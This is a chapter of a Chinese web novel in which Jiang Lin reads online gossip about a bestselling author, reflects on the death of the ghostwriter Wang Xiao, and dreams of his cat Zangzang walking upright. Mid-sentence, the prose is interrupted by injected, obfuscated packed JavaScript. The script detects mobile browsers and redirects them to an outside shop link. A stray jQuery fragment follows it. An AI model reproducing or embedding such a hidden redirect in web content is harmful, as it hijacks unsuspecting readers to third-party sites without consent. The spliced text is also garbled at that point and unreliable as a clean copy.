说是横空出世,其实相较于真正的现象级作品,《沉默的你》在连载期间并没有展现出所谓的大爆之相。
只是忽然有一天,网络上到处都在讨论这本小说,几乎每到一处社交平台就会被相关内容刷屏,可谓铺天盖地。小说角色还被融进各种表情包或者网络梗。
其讨论度之高,令不明真相的群众坚信,如果没看过这篇文就会和时代彻底脱节。
此过程被吃瓜帖主戏称为“黄焖鸡米饭式营销”。
原本的快餐江湖只存在兰州拉面和沙县小吃两大门派,黄焖鸡米饭不知从哪儿冒了出来,一夜之间开遍大江南北。
黄焖鸡米饭通过病毒式加盟繁殖,规模迅速膨胀,力压两大宗门成为“国民快餐”,并在此后多年独占鳌头。
之后,黄焖鸡米饭果断通过完善“身世”升咖,——据说其起源最早可以追溯到朱元璋时期,后来又有了所谓的“正宗”派系。
自江临有点外卖的记忆开始,黄焖鸡米饭已经是便宜快餐的代名词,倒是并不清楚品牌背后有这一番往事。
如果《沉默的你》爆火果真得益于柏木及其背后资本的运作,某种程度确实算得上是病毒式营销。
消费者身上最昂贵的商品是他们的注意力。
顺理成章地,小说顺利卖出版权,并在经济并不景气的时节轻易达到千万级别的合同金额,连带着柏木之前的作品也都售卖一空。
版权一经卖出,又被火速影视化,这本小说一路走来,算得上是顺风顺水。
柏木在不同场合的采访中多次表示,《沉默》一书的灵感来自于他的心爱之人小M。他自称,书中的角色塑造或多或少会参考他本人及小M的个性和经历。
作者公然披皮角色本是一大雷点,但彼时CP党们磕生磕死,多数人都把作者的背书当成糖渣咽了下去。
更绝的是,柏木本人甚至暧昧地默认,有关女主郁洁和男二程响是一体两面,都融合了部分小M的性格的猜测并非毫无根据。
各大CP势力都高举原作者的令牌,争斗逐渐白热化。
党争,永远是提高读者黏度的不二法门,正所谓恨比爱更长久。
江临注意到一个细节。在《沉默的你》刚开始连载时,在在失踪了。
柏木不知出于什么目的,没有在第一时间公布这个消息,期间还持续用在在的库存照片发博。直到被细心的粉丝发现照片中的破绽,质疑声越来越大,柏木才不得不出面解释。
他承认在在走丢的事实,但以丢猫后自己精神状态很不稳定,加之思念女友,已有抑郁倾向为由,拒绝向关心在在的粉丝透露更多细节。
此时的柏木已经彻底转型为职业作家,萌宠博主只是他众多标签中的一个。事件逐渐平息,被互联网的信息洪流抹平痕迹。
反倒是柏木趁机大赚一笔同情分,深情人设不倒。
之后帖主的爆料就是江临所熟悉的了,基本和紫发女孩的猜测一致。帖子最后甚至还提到401室住户的神秘死亡。
死者王晓的身份被进一步曝光。有所谓的知情人声称,王晓生前从事的就是网文行业,替柏木当枪手一事十有八九是真瓜。
对此,吃瓜帖主的态度倒是谨慎许多,他不赞同过度挖掘死者的隐私。他还贴出警方的最新通告,蓝底白字清清楚楚表明王晓系猝死,暂时可以排除他杀的可能性。
当然,从网友们的讨论中可知,众人对官方说辞态度不一。更多人倾向于认为官方是在被迫向资本让步,掩埋更大更黑暗的内幕。
要知道桂城本身就是一个巨大的网红孵化基地。无论是意见领袖还是知名内容创作者,只要有足够的影响力,官方会以诱人的条件将人留在桂城。
柏木或许像那些闻名遐迩的真神作家一样,也享受着相关政策的倾斜待遇。
事件牵扯到一宗死亡事件,一宗潜在的命案,一位身价不菲的畅销作家,以及大爆电视剧,讨论度居高不下。
吃瓜帖主如此总结:“之前南朝鲜有一位男演员,演坏人时入木三分,我有一个朋友是干刑事律师的,一眼就说这个演员很有生活。
我原以为那是在夸演员有演技,结果那人是在逃杀人犯的消息一出来,我才知道,那确实是很有生活了。
我们这位以写悬疑小说为特长的大作者,不知道是不是也同样很有生活。”
帖子热度很高,评论翻不到底,再一刷新,原帖已被删除。
江临揉了揉酸胀的眼眶,茫然地盯着天花板发起呆来。
他想起自己那场奇怪的梦境。梦里的王大头和蜜琪朵拉公主居然都是现实中有名有姓的小猫咪,甚至私奔的剧情也能和粉丝的CP小作文对上号。
江临不由得怀疑起这个世界的真实性。
他是客居梦中,还是楚门谢幕?
人类的视线不由自主地飘向了梦境的主猫公身上。
脏脏板着一张毛茸茸的小猫脸,和人类对视片刻后很快就偏开脑袋,很感兴趣似的研究起墙上挂着的那张日历板。
江临总觉得自己从那张小猫脸上读出了几分可疑的心虚,然而细看却无事发生,只有一颗圆溜溜的小猫后脑勺。
小猫咪还挺会睡的呢,给自己睡了一颗无敌完美的可爱圆头。
江临被自己天马行空的想法逗笑了。
不想不想,他告诫自己。
梦见小猫直立行走去打工尚且算是“我和植物说话”性质,但怀疑自己的梦境照进现实就已经是“植物和我说话”级别了。
认真追究起来,这件事情就像是房间里莫名出现一只猫一样,总是能够用科学原理解释的。
比如,他的眼睛在无意间捕捉到相关信息,但因为他的大脑一直被情绪占据,信息平滑地流淌到他的潜意识里,最终以梦的形式呈现。
这么一想就合理很多。
对,没错,一定就是这样的。
江临长舒一口气,转而又想起小开老板之前决定给王晓办一场简单的告别仪式,不知时间是否确定下来。
他伸出一根手指,轻轻搭在脏脏白乎乎的爪爪毛上。
猫爪上的毛发短而密,摸起来是有别于其他部位的特殊手感,很让人上头。
“要不我们也去参加吧。”他呢喃着,手指认真地戳着小猫咪的爪爪毛。
他不认识王晓,说实话,以他现下的心力,他也很难对一位不幸去世的年轻打工人产生过多的同情。
只是看着她被人肆意放在网上品评,被当做彼此攻歼的武器,不知怎地,江临总觉心里不太好受。
若是诚如《寻梦环游记》所言,遗忘才是彻底的死亡。那被网友们以这种方式“铭记”算数吗?
没有人真的了解王晓的生平,没有人记得她活生生的模样,或许在她生前也无人认真看见过她。
她只留下一些碎片,身份证明,工作过的痕迹,或许还有一只猫。
仅此而已。
这些碎片经过互联网的放大和扭曲,又重组成一个符号版本的她。
此刻活跃在八卦中的王晓,看似不曾被遗忘,然而歪曲成为符号的她,是否反而会加速真实存在过的她的消亡?
如果是我,江临心想,我更愿意干干净净地走,不需要任何人的同情和评价,不想要恶意,同样也不需要善意。
在死亡的瞬间,若能化作齑粉,混入天地万物,再也找不到一丝存在过的痕迹,在江临看来,是最浪漫的告别方式。
不过,他到底不是王晓。
或许,在王晓心里,会愿意这样被人铭记呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604719|204558||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?哪怕只是短暂的、浮于表象的铭记。
如果我见过王晓就好了,我可以让有关于她的记忆在世间留存得再久一些,起码久到我消亡的那一天。
他这么想着,只觉得指尖一凉。
脏脏抽出爪子,反爪将肉垫搭在他的手指上。它那一张漂亮的小猫脸上满是严肃,透着一股猫爪不能在下的霸道感。
江临不禁莞尔,趁着小猫咪还在关注他的手指,伸出另一只手飞速胡噜了一把小猫头。
摸摸小猫头,万事不用愁。
小猫咪震惊地瞪圆眼睛,两只妙脆角似的小耳朵朝后齐齐起飞,看起来很不好惹。
江临连忙岔开话题,讪笑道:“差不多要出发去医院了。”
话音刚落,他就接到顾医生的电话。
原来医院临时转来一位病症复杂的毛病患,情况危急,需要全院会诊。顾医生和江临商量,如果脏脏目前状态良好,晚上九点以后再送过去复查,今天正好是她值夜班。
江临了解过,嗷嗷并非一家全天营业的宠物医院。夜里有医护值班,但不接收门诊。顾医生如此说,意味着她需要为脏脏加班。
只有社畜才明白,这份善良和责任心有多么沉重。
江临感动到一时忘了说明脏脏目前不吃不喝的状态,迷迷糊糊就答应下来。
他挂了电话,一人一猫面面相觑。
预约取消,凭空多出大半天的相处时间,江临不知所措。
他抓抓头发,以邀请同事团建的口吻弱声弱气地提议道:“要不,我给你拍几张艺术照吧?”
毕竟将来要想找个好人家领养,表面功夫还是要做到位的。
脏脏也不知道听懂没有,朝着人类极其缓慢地眨了眨眼,喉咙里咕噜咕噜冒着泡泡。
江临没有认真进修过猫咪心理学,但他莫名感觉到对方的开心。
这个认知令他心下一松,打了一个哈欠。
等江临的意识再次回笼,发现自己躺在床上睡着了。
屋内一片昏沉,窗帘拉得不太严实,路灯的灯光从缝隙间溜进来。
江临目瞪口呆,他竟然又将白天睡了过去。
“我最近睡得也太多了吧,反正都要长睡不醒的,有这么着急吗?”
他嘀嘀咕咕。
一个声音在他身后冒了出来。
“幼崽总是睡得多一点的。”
江临猛回头。
不出所料,说话的是直立行走的黑脏脏。
它不知从哪儿翻出来一件江临前司发的团建文化衫,非常纯粹的克莱因蓝,正两爪发力往身上套,身上的毛毛乱飞。
江临看不过眼,起身帮忙。
一人一猫同时使劲,衣服刺啦一下被拽变形,倒是顺利穿上了,只是脏脏太过毛茸茸,体恤衫箍在它圆滚滚的躯干上显得有些紧绷。
江临用力抻了抻不太有弹性的面料,安慰道:“这衣服质量不行,洗了就缩水了。”
脏脏垂头看着它那圆滚滚的肚皮,沉痛地接受了这个解释。
第三次入梦,江临发现自己竟也没有多少惊讶和害怕,反而轻车熟路地和大猫咪交谈起来。
“怎么忽然想起来要穿衣服?”
大猫咪乜他一眼,喵声喵气道:“不是说要给吾拍美照?”
“啊?”
江临不好意思地挠挠头,没想到脏脏还是一只爱臭美的小仙猫。
本着反正还在梦里,第二天醒来照片都会消失的心态,江临自信满满地用他的直男摄影技术和即将四分五裂的破手机,一口气给脏脏拍了几十张照片。
脏脏拿两只圆爪子捧住手机,严肃查阅。
每一张照片都只能看见黑乎乎的一团小猫脸,连五官都没有。
脏脏:……